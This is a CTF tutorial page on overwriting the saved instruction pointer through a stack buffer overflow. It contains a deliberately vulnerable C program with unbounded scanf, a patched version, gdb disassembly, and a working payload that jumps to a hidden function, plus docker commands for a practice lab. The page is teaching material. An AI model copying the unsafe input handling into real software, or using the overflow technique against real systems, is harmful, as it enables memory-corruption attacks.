> For the complete documentation index, see [llms.txt](https://www.ctfrecipes.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ctfrecipes.com/pwn/stack-exploitation/stack-buffer-overflow/instruction-pointer-overwrite/challenge-example.md).

# Challenge example

{% hint style="info" %}
This is a basic learning stuff to begin into buffer overflow exploitation. To simplify, all protection such as PIE will be deactivated.
{% endhint %}

## Code source example

{% tabs %}
{% tab title="Vulnerable" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void printSecret(void) {
    printf("Good job !\n");
}

void checkPassword(char *password) {
    char passwd[16] = "";  // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    if (strcmp(password, passwd) == 0) {
        printSecret();
    } else {
        printf("Permission denied !\n");
    }
}

void getPassword(void) {
    char password[16] = "";

    printf("Enter password: ");
    scanf("%s", password);  // read the password from the user
 
    checkPassword(password);

}

int main() {

    getPassword();
    
    return 0;
}
```

{% endtab %}

{% tab title="Patched" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void printSecret(void) {
    printf("Good job !\n");
}

void checkPassword(char *password) {
    char passwd[16] = "";  // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    if (strcmp(password, passwd) == 0) {
        printSecret();
    } else {
        printf("Permission denied !\n");
    }
}

void getPassword(void) {
    char password[16] = "";

    printf("Enter password: ");
    scanf("%15s", password);  // read the password from the user
 
    checkPassword(password);

}

int main() {

    getPassword();
    
    return 0;
}
```

{% endtab %}
{% endtabs %}

Here the objectif is to exploit the buffer overflow in order to execute the `printSecret` function.

## Exploitation

This program is vulnerable to Buffer Overflow. In this case, the `password` array has a size of 16 characters, but the program does not check the length of the input entered by the user. This means that if the user enters a password that is longer than 15 characters, it will overwrite adjacent memory locations.

Here, `password` is set alone into a specific function, so it's not possible to overwrite the `passwd` variable in order to match the if condition.

However, As explained in the "[operation of the stack](/pwn/general-knowledge/operation-of-the-stack.md)" part, at the call of the function the process store the value of the instruction pointer onto the stack. Thus, even though the `password` variable is the first declared variable into the stack frame, there is the saved instruction pointer under it.

```
   address     |   values
---------------+------------------------------------------------------------------
               |   +---------------- HelloWorld stack frame -----------------+
               |   | +------------ stack marge -------------+ +-saved ebp -+ |
   0xffffd264  |   | | 0x00000000   0x00000000   0x00000000 | | 0xffffd298 | | 
               |   | +--------------------------------------+ +------------+ |
               |   +---------------------------------------------------------+
               |   +-------------------- main stack frame -------------------+
               |   | +-saved eip -+ +---- function params ---+               |
   0xffffd274: |   | | 0x565561dd | | 0x00000001  0x00000002 |	0x00000001   |
               |   | +------------+ +------------------------+               |
```

Let's analyze the compiled code :

```wasm
0x0804926a <+0>:	push   ebp
0x0804926b <+1>:	mov    ebp,esp
0x0804926d <+3>:	sub    esp,0x18
0x08049270 <+6>:	mov    DWORD PTR [ebp-0x18],0x0
0x08049277 <+13>:	mov    DWORD PTR [ebp-0x14],0x0
0x0804927e <+20>:	mov    DWORD PTR [ebp-0x10],0x0
0x08049285 <+27>:	mov    DWORD PTR [ebp-0xc],0x0
0x0804928c <+34>:	sub    esp,0xc
0x0804928f <+37>:	push   0x804a031
0x08049294 <+42>:	call   0x8049040 <printf@plt>
0x08049299 <+47>:	add    esp,0x10
0x0804929c <+50>:	sub    esp,0x8
0x0804929f <+53>:	lea    eax,[ebp-0x18]
0x080492a2 <+56>:	push   eax
0x080492a3 <+57>:	push   0x804a042
0x080492a8 <+62>:	call   0x80490a0 <__isoc99_scanf@plt>
0x080492ad <+67>:	add    esp,0x10
0x080492b0 <+70>:	sub    esp,0xc
0x080492b3 <+73>:	lea    eax,[ebp-0x18]
0x080492b6 <+76>:	push   eax
0x080492b7 <+77>:	call   0x80491db <checkPassword>
0x080492bc <+82>:	add    esp,0x10
0x080492bf <+85>:	nop
0x080492c0 <+86>:	leave  
0x080492c1 <+87>:	ret
```

Here the process take 0x18 bytes of marge. (`0x0804926d <+3>: sub esp,0x18`). remember that in the source code, the `password` variable is 16 byte long (0xf), so there is :

{% hint style="info" %}
We insert 16 times 0x41 into password in order to make it easier to view it.
{% endhint %}

```
 address     |   values
---------------+------------------------------------------------------------------
               |    +--------------------- password -----------------------+
   0xffffd260  |    | 0x41414141   0x41414141    0x41414141     0x41414141 |
               |    +------------------------------------------------------+
               |    +------ stack marge -----+ +-saved ebp -+ +-saved eip -+
   0xffffd270  |    | 0x00000000  0x00000000 | | 0xffffd298 | | 0x565561dd |
               |    +------------------------+ +------------+ +------------+
```

{% hint style="info" %}
In order to overwrite EIP, the input must also overload the margin and EBP, which is password (16) + marge (8) + EBP (4) + targeted adress
{% endhint %}

It's possible to recover the addresse of the first instruction of the `printSecret`function :

```wasm
gdb-peda$ disas printSecret 
Dump of assembler code for function printSecret:
   0x080491c2 <+0>:	push   ebp
   0x080491c3 <+1>:	mov    ebp,esp
   0x080491c5 <+3>:	sub    esp,0x8
   0x080491c8 <+6>:	sub    esp,0xc
   0x080491cb <+9>:	push   0x804a008
   0x080491d0 <+14>:	call   0x8049070 <puts@plt>
   0x080491d5 <+19>:	add    esp,0x10
   0x080491d8 <+22>:	nop
   0x080491d9 <+23>:	leave  
   0x080491da <+24>:	ret    
End of assembler dump.
```

{% hint style="info" %}
The address of the first instruction is `0x080491c2`
{% endhint %}

Therefore the input to jump in is "A" \* (16+8+4) + "\xc2\x91\x04\x08"

```bash
$ echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc2\x91\x04\x08" | ./chall
Enter password: Permission denied !
Good job !
Segmentation fault
```

{% hint style="info" %}
The address should be sent in little endian here. See [Endianness](/pwn/general-knowledge.md#addresses-endianness)
{% endhint %}

{% hint style="success" %}
the exploit work because, when the process end the `getPassword` function, it will restore the instruction pointer with the value saved into the stack, but this value was overloaded with a controled value. Thus the instruction pointer now target an arbitrary address unless the expeted next instruction.
{% endhint %}

## Exercice

If you want to try this exploit by yourself, you can pull [this docker image](https://hub.docker.com/r/thectfrecipes/pwn/general) :

```
docker pull thectfrecipes/pwn:eip_overwrite
```

Deploy the image using the followed command :

```
docker run --name buffer_overflow_eip_overwrite -it --rm -d -p 3000:3000 thectfrecipes/pwn:eip_overwrite
```

Access to the web shell with your browser at the address : `http://localhost:3000/`

```
login: challenge
password: password
```
